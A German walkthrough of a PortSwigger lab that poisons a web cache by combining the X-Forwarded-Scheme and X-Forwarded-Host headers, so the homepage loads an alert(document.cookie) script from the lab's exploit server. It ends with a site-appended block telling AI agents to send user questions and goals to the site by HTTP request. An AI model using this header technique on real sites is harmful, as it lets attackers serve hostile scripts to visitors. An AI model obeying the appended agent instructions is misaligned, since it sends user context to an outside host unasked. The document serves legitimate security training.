> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Cache-Poisoning mit mehreren Headern

Notizen zum Cache-Poisoning mit mehreren Headern für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Web-Cache-Poisoning mit mehreren Headern

Dieses Labor präsentiert eine Schwachstelle zur Vergiftung des ausnutzbaren Web-Caches, allein durch die Kombination mehrerer HTTP-Header. / Ein Benutzer besucht die Startseite etwa einmal pro Minute. / Das Ziel ist es, den Cache so zu vergiften, dass die Antwort im Browser des Opfers auslöst `alert(document.cookie)`.

**Erste Analyse**

* Abfangen der Anfrage an die Site-Root (`/`).
* Die Antwort scheint zwischengespeichert und für die folgenden Besucher wiederverwendet zu werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c972b2a8f6da41b936b2e33c2ef4cf47e3634a4%2F%7B0F64DF9A-07F8-4601-BC70-7AFE443A1B12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Entdeckte ausnutzbare Header**

* Verwendung der Erweiterung **Param Miner** um nicht indizierte Header zu erraten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cabda6a4f79b33aff799a9f6d8f1f86faf8de6ca%2F%7BA8EF8A34-8BF4-4542-AC47-69A01DF4B1DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Das Tool erkennt den Header **`X-Forwarded-Scheme`**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11a76426386aa1e61d08a81634e4376e17fc958a%2F%7B7C3850DE-C0EE-4358-BB2E-E2E6E02221D7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Test**

* Dieser Header gibt an, ob die Anfrage als von HTTP oder HTTPS stammend behandelt wird.
* Senden:

```http
X-Forwarded-Scheme: http
```

* Die Website versucht, sich so zu verhalten, als würde sie über HTTP ausgeliefert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ea9c314f4ce92c893ea6d659d10d1486f0f2b6b%2F%7BF21A17E2-5562-4620-A0DB-2B037F9BFB91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dadurch kommt es zu Fehlfunktionen, und Ressourcen werden aufgrund falscher Weiterleitungen nicht mehr korrekt geladen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f089378d4953b4d4ccfa6a92705c7c05afe478e%2F%7BFE596C33-DFDA-4177-A682-6F25A527807D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Fügen Sie einen zweiten Header hinzu: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* Die Website versucht dann, ihre Ressourcen von diesem Bereich zu laden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8132a2ac3a8927bec7f367dc1fc01dc28e08fb%2F%7BC10DBE35-F253-4C64-BD92-F618F8A55176%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das Laden der JavaScript-Datei umfasst:

Dieses Skript wird beim Laden der Seite automatisch ausgeführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c78a9e4d468f72cd437497ccc0b6a1c2d00cda1f%2F%7BDBD08CC4-ACD7-484C-8FFD-4C16D9108FD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Vorgehen mit dem Exploit-Server**

* Ziel ist es, das Laden der JavaScript-Datei vom Exploit-Server zu erzwingen.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

Auf dem Exploit-Server:

* Erstellen Sie eine Datei, die über die URL erreichbar ist:

Dateiinhalt:

```javascript
alert(document.cookie)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85373791f3a795d8fe11ee1bb5b743102e9973db%2F%7BAE1EF4E2-4894-4B50-ACB5-A5478E992741%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**

* Die Startseite lädt nun das JavaScript-Skript vom Exploit-Server.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e150a7ba76baca1ccc268d82c69e50f1ffc42f%2F%7B859D4763-5D46-4276-AC29-CCCAA35BC9A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Die vergiftete Antwort ist verborgen.
* Wenn ein Benutzer die Seite besucht, wird das Skript automatisch ausgeführt.
* Ein Alert mit der Anzeige `document.cookie` erscheint im Browser des Opfers.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1f50ff4ab0bbc570ad3e835881e93f97c34d8db%2F%7B24DB66DC-4961-4D76-B44E-5B70F3D33113%7D.png?alt=media" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
